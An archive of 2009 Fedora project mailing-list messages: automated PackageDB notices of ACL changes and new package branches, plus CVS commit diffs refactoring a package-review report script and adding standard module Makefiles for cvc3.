From pkgdb at fedoraproject.org  Thu Oct 22 03:35:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:35:06 +0000
Subject: [pkgdb] python-stomper had acl change status
Message-ID: <20091022033506.CFCAE10F8A2@bastion2.fedora.phx.redhat.com>

silas has set the commit acl on python-stomper (Fedora 11) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-stomper



From pkgdb at fedoraproject.org  Thu Oct 22 03:35:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:35:08 +0000
Subject: [pkgdb] python-stomper had acl change status
Message-ID: <20091022033508.D2CD510F850@bastion2.fedora.phx.redhat.com>

silas has set the commit acl on python-stomper (Fedora 11) to Approved for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-stomper



From pkgdb at fedoraproject.org  Thu Oct 22 03:35:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:35:10 +0000
Subject: [pkgdb] python-stomper had acl change status
Message-ID: <20091022033510.54BC810F8AD@bastion2.fedora.phx.redhat.com>

silas has set the approveacls acl on python-stomper (Fedora 11) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-stomper



From pkgdb at fedoraproject.org  Thu Oct 22 03:35:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:35:12 +0000
Subject: [pkgdb] python-stomper had acl change status
Message-ID: <20091022033512.3564510F87F@bastion2.fedora.phx.redhat.com>

silas has set the approveacls acl on python-stomper (Fedora 11) to Approved for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-stomper



From pkgdb at fedoraproject.org  Thu Oct 22 03:35:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:35:29 +0000
Subject: [pkgdb] python-stomper had acl change status
Message-ID: <20091022033529.335D010F85F@bastion2.fedora.phx.redhat.com>

silas has set the watchbugzilla acl on python-stomper (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-stomper



From pkgdb at fedoraproject.org  Thu Oct 22 03:35:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:35:30 +0000
Subject: [pkgdb] python-stomper had acl change status
Message-ID: <20091022033530.CF31810F88F@bastion2.fedora.phx.redhat.com>

silas has set the watchcommits acl on python-stomper (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-stomper



From pkgdb at fedoraproject.org  Thu Oct 22 03:35:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:35:31 +0000
Subject: [pkgdb] python-stomper had acl change status
Message-ID: <20091022033532.04C9B10F891@bastion2.fedora.phx.redhat.com>

silas has set the commit acl on python-stomper (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-stomper



From pkgdb at fedoraproject.org  Thu Oct 22 03:35:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:35:33 +0000
Subject: [pkgdb] python-stomper had acl change status
Message-ID: <20091022033533.8500710F894@bastion2.fedora.phx.redhat.com>

silas has set the approveacls acl on python-stomper (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-stomper



From pkgdb at fedoraproject.org  Thu Oct 22 03:35:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:35:35 +0000
Subject: [pkgdb] python-stomper had acl change status
Message-ID: <20091022033535.9D4CB10F89C@bastion2.fedora.phx.redhat.com>

silas has set the approveacls acl on python-stomper (Fedora 12) to Approved for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-stomper



From pkgdb at fedoraproject.org  Thu Oct 22 03:35:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:35:36 +0000
Subject: [pkgdb] python-stomper had acl change status
Message-ID: <20091022033537.0393A10F880@bastion2.fedora.phx.redhat.com>

silas has set the commit acl on python-stomper (Fedora 12) to Approved for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-stomper



From pkgdb at fedoraproject.org  Thu Oct 22 03:35:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:35:37 +0000
Subject: [pkgdb] python-stomper had acl change status
Message-ID: <20091022033537.A638710F8A2@bastion2.fedora.phx.redhat.com>

silas has set the watchcommits acl on python-stomper (Fedora 12) to Approved for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-stomper



From pkgdb at fedoraproject.org  Thu Oct 22 03:35:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:35:39 +0000
Subject: [pkgdb] python-stomper had acl change status
Message-ID: <20091022033539.BD0D810F891@bastion2.fedora.phx.redhat.com>

silas has set the watchbugzilla acl on python-stomper (Fedora 12) to Approved for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-stomper



From pkgdb at fedoraproject.org  Thu Oct 22 03:35:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:35:57 +0000
Subject: [pkgdb] pytyrant had acl change status
Message-ID: <20091022033558.0E75D10F85F@bastion2.fedora.phx.redhat.com>

silas has set the watchbugzilla acl on pytyrant (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pytyrant



From pkgdb at fedoraproject.org  Thu Oct 22 03:35:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:35:58 +0000
Subject: [pkgdb] pytyrant had acl change status
Message-ID: <20091022033558.F3EE910F885@bastion2.fedora.phx.redhat.com>

silas has set the watchcommits acl on pytyrant (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pytyrant



From pkgdb at fedoraproject.org  Thu Oct 22 03:36:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:36:00 +0000
Subject: [pkgdb] pytyrant had acl change status
Message-ID: <20091022033600.6B9E010F891@bastion2.fedora.phx.redhat.com>

silas has set the commit acl on pytyrant (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pytyrant



From pkgdb at fedoraproject.org  Thu Oct 22 03:36:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:36:01 +0000
Subject: [pkgdb] pytyrant had acl change status
Message-ID: <20091022033601.C2F2D10F894@bastion2.fedora.phx.redhat.com>

silas has set the approveacls acl on pytyrant (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pytyrant



From pkgdb at fedoraproject.org  Thu Oct 22 03:36:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:36:04 +0000
Subject: [pkgdb] pytyrant had acl change status
Message-ID: <20091022033604.3CEB810F89A@bastion2.fedora.phx.redhat.com>

silas has set the approveacls acl on pytyrant (Fedora 11) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pytyrant



From pkgdb at fedoraproject.org  Thu Oct 22 03:36:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:36:06 +0000
Subject: [pkgdb] pytyrant had acl change status
Message-ID: <20091022033606.1296D10F885@bastion2.fedora.phx.redhat.com>

silas has set the approveacls acl on pytyrant (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pytyrant



From pkgdb at fedoraproject.org  Thu Oct 22 03:36:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:36:07 +0000
Subject: [pkgdb] pytyrant had acl change status
Message-ID: <20091022033608.018C210F8A2@bastion2.fedora.phx.redhat.com>

silas has set the commit acl on pytyrant (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pytyrant



From pkgdb at fedoraproject.org  Thu Oct 22 03:36:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:36:10 +0000
Subject: [pkgdb] pytyrant had acl change status
Message-ID: <20091022033610.12AE510F890@bastion2.fedora.phx.redhat.com>

silas has set the commit acl on pytyrant (Fedora 11) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pytyrant



From pkgdb at fedoraproject.org  Thu Oct 22 03:36:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:36:10 +0000
Subject: [pkgdb] pytyrant had acl change status
Message-ID: <20091022033610.EACA710F8AD@bastion2.fedora.phx.redhat.com>

silas has set the watchcommits acl on pytyrant (Fedora 11) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pytyrant



From pkgdb at fedoraproject.org  Thu Oct 22 03:36:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:36:12 +0000
Subject: [pkgdb] pytyrant had acl change status
Message-ID: <20091022033612.EB59110F89A@bastion2.fedora.phx.redhat.com>

silas has set the watchcommits acl on pytyrant (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pytyrant



From pkgdb at fedoraproject.org  Thu Oct 22 03:36:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:36:14 +0000
Subject: [pkgdb] pytyrant had acl change status
Message-ID: <20091022033614.82B2910F8AF@bastion2.fedora.phx.redhat.com>

silas has set the watchbugzilla acl on pytyrant (Fedora 11) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pytyrant



From pkgdb at fedoraproject.org  Thu Oct 22 03:36:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:36:15 +0000
Subject: [pkgdb] pytyrant had acl change status
Message-ID: <20091022033616.00ECD10F8B0@bastion2.fedora.phx.redhat.com>

silas has set the watchbugzilla acl on pytyrant (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pytyrant



From pkgdb at fedoraproject.org  Thu Oct 22 03:33:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:33:51 +0000
Subject: [pkgdb] python-mutagen had acl change status
Message-ID: <20091022033351.6157610F8AC@bastion2.fedora.phx.redhat.com>

silas has set the commit acl on python-mutagen (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-mutagen



From tibbs at fedoraproject.org  Thu Oct 22 03:59:09 2009
From: tibbs at fedoraproject.org (=?utf-8?b?SmFzb24g44OG44Kj44OT44OE?=)
Date: Thu, 22 Oct 2009 03:59:09 +0000 (UTC)
Subject: status-report-scripts/review-templates index.html,1.1,1.2
Message-ID: <20091022035909.53C5311C00E8@cvs1.fedora.phx.redhat.com>

Author: tibbs

Update of /cvs/fedora/status-report-scripts/review-templates
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25574/review-templates

Modified Files:
	index.html 
Log Message:
Add nice index page.
Refactor some code.
Bump version to 2.1.



Index: index.html
===================================================================
RCS file: /cvs/fedora/status-report-scripts/review-templates/index.html,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -r1.1 -r1.2
--- index.html	3 Oct 2009 17:14:45 -0000	1.1
+++ index.html	22 Oct 2009 03:59:09 -0000	1.2
@@ -1,54 +1,81 @@
-<!DOCTYPE html
-PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+"http://www.w3.org/TR/xhtml1-strict.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml"
     xmlns:py="http://genshi.edgewall.org/"
     xmlns:xi="http://www.w3.org/2001/XInclude">
     <head>
-        <base href="https://bugzilla.redhat.com/bugzilla/"/>
-        <title>$title</title>
-        <style type="text/css" media="screen">
-            <!--
-            @import url("https://bugzilla.redhat.com/bugzilla/skins/standard/global.css");
-            -->
-            .UNASSIGNED {background-color: #99f}
-            .bz_state_NEEDSPONSOR {background-color: #afa};
-        </style>
+    <META http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
+    <link rel="stylesheet" type="text/css" media="all"
+href="http://fedoraproject.org/static/css/fedora.css" />
+    <style type="text/css">
+        #content
+        {
+            margin-left: 2ex!important;
+        }
+
+        td, th
+        {
+            border: none!important;
+            padding: 0.5ex 2ex!important;
+        }
 
-        <link href="skins/standard/buglist.css" rel="stylesheet" type="text/css"/>
-    </head>
+    </style>
 
+    <title>Cached Package Review Tracker</title>
+    </head>
     <body>
-        <h1 style='background-color: #99f;'>$description<br/>
-            Last Update: $update (v$version)<br/>
-            There are $count tickets in this category</h1>
-
-        <table class="buglist" cellspacing="0" cellpadding="4" width="100%">
-            <thead>
-                <tr align="left">
-                    <th>ID</th>
-                    <th>Alias</th>
-                    <th>Assignee</th>
-                    <th>Status</th>
-                    <th>Last Change</th>
-                    <th>Summary</th>
-                </tr>
-            </thead>
-
-            <py:for each="bug in bugs">
-            <tr class="${bug['class']}">
-                <td>
-                    <a href="show_bug.cgi?id=${bug['id']}">${bug['id']}</a>
-                </td>
-                <td>${bug['alias']} </td>
-                <td>${bug['assignee']}</td>
-                <td>${bug['status']}</td>
-                <td>${bug['lastchange']}</td>
-                <td>${bug['summary']}</td>
-            </tr>
-            </py:for>
-        </table>
-    </body>
+    <div id="wrapper">
+      <div id="head">
+        <h1><a href="http://fedoraproject.org/index.html">Fedora</a></h1>
+      </div>
+      <div id="content">
+<h2>Cached Package Review Tracker</h2>
+These pages contain periodically generated reports with information on the
+current state of all Fedora package review tickets.  The following reports are
+available:
+
+<table>
+<tr><td><a href="NEW.html">New tickets</a> ($new)</td>
+    <td>All non-merge review tickets without an assigned reviewer.</td></tr>
+<tr><td><a href="NEEDSPONSOR.html">Needsponsor tickets</a> ($needsponsor)</td>
+    <td>All review tickets where a sponsor is required. Please see <a href="https://fedoraproject.org/wiki/How_to_get_sponsored_into_the_packager_group#Sponsorship_model">this page</a> for more information on sponsorship.</td></tr>
+<tr><td><a href="MERGE.html">Merge review tickets</a> ($merge)</td>
+    <td>All merge review tickets.  Please see <a href="https://fedoraproject.org/wiki/Merge_Reviews">this page</a> for more information on merge reviews.</td></tr>
+<tr><td><a href="HIDDEN.html">Hidden tickets</a> ($hidden)</td>
+    <td>Tickets which have been hidden for some reason.  These tickets either depend on other review tickets which have not yet been closed, or are unreviewable for some reason.  See <a href="https://fedoraproject.org/wiki/Package_Review_Process#Special_blocker_tickets">this page</a> for more information on the various states a review ticket can have.</td></tr>
+</table>
+<br/>
+    <h2>Quick Review Search</h2>
+    <form name="queryform" action="http://bugzilla.redhat.com/buglist.cgi" method="get"
+          onsubmit="if (this.short_desc.value == '')
+                    { alert('Please enter a search term.');
+                      return false; } return true;">
+    <div>
+      <p>Enter a source package name to search for any relevant review tickets</p>
+      <input type="text" id="short_desc" name="short_desc"/>
+      <input type="hidden" id="short_desc_type" name="short_desc_type" value="allwordssubstr"/>
+      <input type="hidden" id="component" name="component" multiple="multiple" value="Package Review"/>
+      <input id="Search" type="submit" value="Search"/>
+      <input type="hidden" id="query_format" name="query_format" value="advanced"/>
+    </div>
+    </form>
+  </div>
+</div>
+    <div id="bottom">
+      <div id="footer">
+        <p class="copy">
+        &copy; 2009 Red Hat, Inc. and others.
+        Please send any comments or corrections to the <a href="mailto:webmaster at fedoraproject.org">websites team</a>.
+        </p>
+        <p class="disclaimer">
+        The Fedora Project is maintained and driven by the community and sponsored by Red Hat.  This is a community maintained site.  Red Hat is not responsible for content.
+        </p>
+
+        <ul>
+          <li class="first"><a href="http://fedoraproject.org/wiki/Legal:Main">Legal</a></li>
+          <li><a href="http://fedoraproject.org/wiki/Legal:Trademark_guidelines">Trademark Guidelines</a></li>
+        </ul>
+      </div>
+    </div>
+  </body>
 </html>
-



From tibbs at fedoraproject.org  Thu Oct 22 03:59:39 2009
From: tibbs at fedoraproject.org (=?utf-8?b?SmFzb24g44OG44Kj44OT44OE?=)
Date: Thu, 22 Oct 2009 03:59:39 +0000 (UTC)
Subject: status-report-scripts review-stats.py,1.3,1.4
Message-ID: <20091022035939.2A3B511C00E8@cvs1.fedora.phx.redhat.com>

Author: tibbs

Update of /cvs/fedora/status-report-scripts
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25574

Modified Files:
	review-stats.py 
Log Message:
Add nice index page.
Refactor some code.
Bump version to 2.1.



Index: review-stats.py
===================================================================
RCS file: /cvs/fedora/status-report-scripts/review-stats.py,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -r1.3 -r1.4
--- review-stats.py	15 Oct 2009 18:47:56 -0000	1.3
+++ review-stats.py	22 Oct 2009 03:59:08 -0000	1.4
@@ -1,5 +1,5 @@
 #!/usr/bin/python -t
-VERSION = "2.0"
+VERSION = "2.1"
 
 # $Id$
 # Note: This script presently lives in internal git and external cvs.  External
@@ -163,6 +163,22 @@
     #  Tickets awaiting review but which were hidden for some reason
     # That should be all tickets in the Package Review component
 
+def write_html(loader, template, data, dir, fname):
+    '''Load and render the given template with the given data to the given
+       filename in the specified directory.'''
+    tmpl = loader.load(template)
+    output = tmpl.generate(**data)
+
+    path = os.path.join(dir, fname)
+    try:
+        f = open(path, "w")
+    except IOError, (err, strerr):
+        print 'ERROR: %s: %s' % (strerr, path)
+        sys.exit(1)
+
+    f.write(output.render())
+    f.close()
+
 def report_hidden(bugs, bugdata, loader, tmpdir):
     data = {
             'count': 0,
@@ -193,18 +209,8 @@
                     })
             data['count'] +=1
 
-    tmpl = loader.load('plain.html')
-    output = tmpl.generate(**data)
-
-    fname = os.path.join(tmpdir, "HIDDEN.html")
-    try:
-        f = open(fname, "w")
-    except IOError, (err, strerr):
-        print 'ERROR: %s: %s' % (strerr, fname)
-        sys.exit(1)
+    write_html(loader, 'plain.html', data, tmpdir, 'HIDDEN.html')
 
-    f.write(output.render())
-    f.close()
     return data['count']
 
 def report_merge(bugs, bugdata, loader, tmpdir):
@@ -238,18 +244,8 @@
                     })
             data['count'] +=1
 
-    tmpl = loader.load('plain.html')
-    output = tmpl.generate(**data)
-
-    fname = os.path.join(tmpdir, "MERGE.html")
-    try:
-        f = open(fname, "w")
-    except IOError, (err, strerr):
-        print 'ERROR: %s: %s' % (strerr, fname)
-        sys.exit(1)
+    write_html(loader, 'plain.html', data, tmpdir, 'MERGE.html')
 
-    f.write(output.render())
-    f.close()
     return data['count']
 
 def report_needsponsor(bugs, bugdata, loader, tmpdir):
@@ -289,19 +285,8 @@
             data['count'] +=1
             curcount +=1
 
+    write_html(loader, 'bymonth.html', data, tmpdir, 'NEEDSPONSOR.html')
 
-    tmpl = loader.load('bymonth.html')
-    output = tmpl.generate(**data)
-
-    fname = os.path.join(tmpdir, "NEEDSPONSOR.html")
-    try:
-        f = open(fname, "w")
-    except IOError, (err, strerr):
-        print 'ERROR: %s: %s' % (strerr, fname)
-        sys.exit(1)
-
-    f.write(output.render())
-    f.close()
     return data['count']
 
 def report_new(bugs, bugdata, loader, tmpdir):
@@ -348,40 +333,34 @@
             curcount +=1
 
     data['months'][-1]['month'] += (" (%d)" % curcount)
-    tmpl = loader.load('bymonth.html')
-    output = tmpl.generate(**data)
 
-    fname = os.path.join(tmpdir, "NEW.html")
-    try:
-        f = open(fname, "w")
-    except IOError, (err, strerr):
-        print 'ERROR: %s: %s' % (strerr, fname)
-        sys.exit(1)
+    write_html(loader, 'bymonth.html', data, tmpdir, 'NEW.html')
 
-    f.write(output.render())
-    f.close()
     return data['count']
 
 if __name__ == '__main__':
     options = parse_commandline()
     bz = bugzilla.Bugzilla(url=options.url)
+    (bugs, bugdata) = run_query(bz)
+
+    # Don't bother running this stuff until the query completes, since it fails
+    # so often.
     loader = TemplateLoader(options.templdir)
     tmpdir = tempfile.mkdtemp(dir=options.dirname)
 
-    (bugs, bugdata) = run_query(bz)
-    counts = {}
+    data = {}
 
-    counts['new'] =         report_new(bugs, bugdata, loader, tmpdir)
-    counts['merge'] =       report_merge(bugs, bugdata, loader, tmpdir)
-    counts['needsponsor'] = report_needsponsor(bugs, bugdata, loader, tmpdir)
-    counts['hidden'] =      report_hidden(bugs, bugdata, loader, tmpdir)
-#    counts['accepted_closed'] = report_accepted_closed(bugs, bugdata, loader, tmpdir)
-#    counts['accepted_open'] = report_accepted_open(bugs, bugdata, loader, tmpdir)
-#    counts['rejected_closed'] = report_rejected_closed(bugs, bugdata, loader, tmpdir)
-#    counts['rejected_open'] = report_rejected_open(bugs, bugdata, loader, tmpdir)
-#    counts['review_closed'] = report_review_closed(bugs, bugdata, loader, tmpdir)
-#    counts['review_open'] = report_review_open(bugs, bugdata, loader, tmpdir)
-#    report_index = report_index(counts, loader, tmpdir)
+    data['new'] =         report_new(bugs, bugdata, loader, tmpdir)
+    data['merge'] =       report_merge(bugs, bugdata, loader, tmpdir)
+    data['needsponsor'] = report_needsponsor(bugs, bugdata, loader, tmpdir)
+    data['hidden'] =      report_hidden(bugs, bugdata, loader, tmpdir)
+#    data['accepted_closed'] = report_accepted_closed(bugs, bugdata, loader, tmpdir)
+#    data['accepted_open'] = report_accepted_open(bugs, bugdata, loader, tmpdir)
+#    data['rejected_closed'] = report_rejected_closed(bugs, bugdata, loader, tmpdir)
+#    data['rejected_open'] = report_rejected_open(bugs, bugdata, loader, tmpdir)
+#    data['review_closed'] = report_review_closed(bugs, bugdata, loader, tmpdir)
+#    data['review_open'] = report_review_open(bugs, bugdata, loader, tmpdir)
+    write_html(loader, 'index.html', data, tmpdir, 'index.html')
 
     for filename in glob.glob(os.path.join(tmpdir, '*')):
         newFilename = os.path.basename(filename)



From pkgdb at fedoraproject.org  Thu Oct 22 04:06:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:06:11 +0000
Subject: [pkgdb] cvc3 was added for jjames
Message-ID: <20091022040611.ECA5610F89C@bastion2.fedora.phx.redhat.com>

kevin has added Package cvc3 with summary Validity checker of many-sorted first-order formulas with theories
kevin has approved Package cvc3
kevin has added a Fedora devel branch for cvc3 with an owner of jjames
kevin has approved cvc3 in Fedora devel
kevin has approved Package cvc3
kevin has set commit to Approved for 107427 on cvc3 (Fedora devel)
kevin has set checkout to Approved for 107427 on cvc3 (Fedora devel)
kevin has set build to Approved for 107427 on cvc3 (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cvc3



From pkgdb at fedoraproject.org  Thu Oct 22 04:06:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:06:16 +0000
Subject: [pkgdb] cvc3 summary updated by kevin
Message-ID: <20091022040617.0381610F8B2@bastion2.fedora.phx.redhat.com>

kevin set package cvc3 summary to Validity checker of many-sorted first-order formulas with theories

To make changes to this package see:
  /pkgdb/packages/name/cvc3



From pkgdb at fedoraproject.org  Thu Oct 22 04:06:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:06:16 +0000
Subject: [pkgdb] cvc3 (Fedora, 11) updated by kevin
Message-ID: <20091022040617.50DA510F8B5@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for cvc3
kevin has set commit to Approved for 107427 on cvc3 (Fedora 11)
kevin has set checkout to Approved for 107427 on cvc3 (Fedora 11)
kevin has set build to Approved for 107427 on cvc3 (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/cvc3



From pkgdb at fedoraproject.org  Thu Oct 22 04:06:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:06:16 +0000
Subject: [pkgdb] cvc3 (Fedora, 11) updated by kevin
Message-ID: <20091022040617.6450410F8B8@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for cvc3
kevin has set commit to Approved for 107427 on cvc3 (Fedora 12)
kevin has set checkout to Approved for 107427 on cvc3 (Fedora 12)
kevin has set build to Approved for 107427 on cvc3 (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/cvc3



From kevin at fedoraproject.org  Thu Oct 22 04:06:43 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:06:43 +0000 (UTC)
Subject: rpms/cvc3/devel - New directory
Message-ID: <20091022040643.C280711C0265@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/cvc3/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsF28283/rpms/cvc3/devel

Log Message:
Directory /cvs/pkgs/rpms/cvc3/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:06:43 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:06:43 +0000 (UTC)
Subject: rpms/cvc3 - New directory
Message-ID: <20091022040643.7E88511C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/cvc3
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsF28283/rpms/cvc3

Log Message:
Directory /cvs/pkgs/rpms/cvc3 added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:07:32 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:07:32 +0000 (UTC)
Subject: rpms/cvc3 Makefile,NONE,1.1
Message-ID: <20091022040732.0742D11C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/cvc3
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsF28283/rpms/cvc3

Added Files:
	Makefile 
Log Message:
Setup of module cvc3


--- NEW FILE Makefile ---
# Top level Makefile for module cvc3
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 22 04:07:33 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:07:33 +0000 (UTC)
Subject: rpms/cvc3/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources, 
	NONE, 1.1
Message-ID: <20091022040733.9C56911C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/cvc3/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsF28283/rpms/cvc3/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module cvc3


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: cvc3
# $Id: Makefile,v 1.1 2009/10/22 04:07:31 kevin Exp $
NAME := cvc3
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 22 04:07:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:07:41 +0000
Subject: [pkgdb] gettext-commons was added for musuruan
Message-ID: <20091022040741.30A2110F8CF@bastion2.fedora.phx.redhat.com>

kevin has added Package gettext-commons with summary Java internationalization (i18n) library
kevin has approved Package gettext-commons
kevin has added a Fedora devel branch for gettext-commons with an owner of musuruan
kevin has approved gettext-commons in Fedora devel
kevin has approved Package gettext-commons
kevin has set commit to Approved for 107427 on gettext-commons (Fedora devel)
kevin has set checkout to Approved for 107427 on gettext-commons (Fedora devel)
kevin has set build to Approved for 107427 on gettext-commons (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/gettext-commons



From pkgdb at fedoraproject.org  Thu Oct 22 04:07:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:07:42 +0000
Subject: [pkgdb] gettext-commons summary updated by kevin
Message-ID: <20091022040742.E9F9110F8D2@bastion2.fedora.phx.redhat.com>

kevin set package gettext-commons summary to Java internationalization (i18n) library

To make changes to this package see:
  /pkgdb/packages/name/gettext-commons



From pkgdb at fedoraproject.org  Thu Oct 22 04:07:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:07:42 +0000
Subject: [pkgdb] gettext-commons (Fedora, 10) updated by kevin
Message-ID: <20091022040743.0F34810F8DB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for gettext-commons
kevin has set commit to Approved for 107427 on gettext-commons (Fedora 11)
kevin has set checkout to Approved for 107427 on gettext-commons (Fedora 11)
kevin has set build to Approved for 107427 on gettext-commons (Fedora 11)

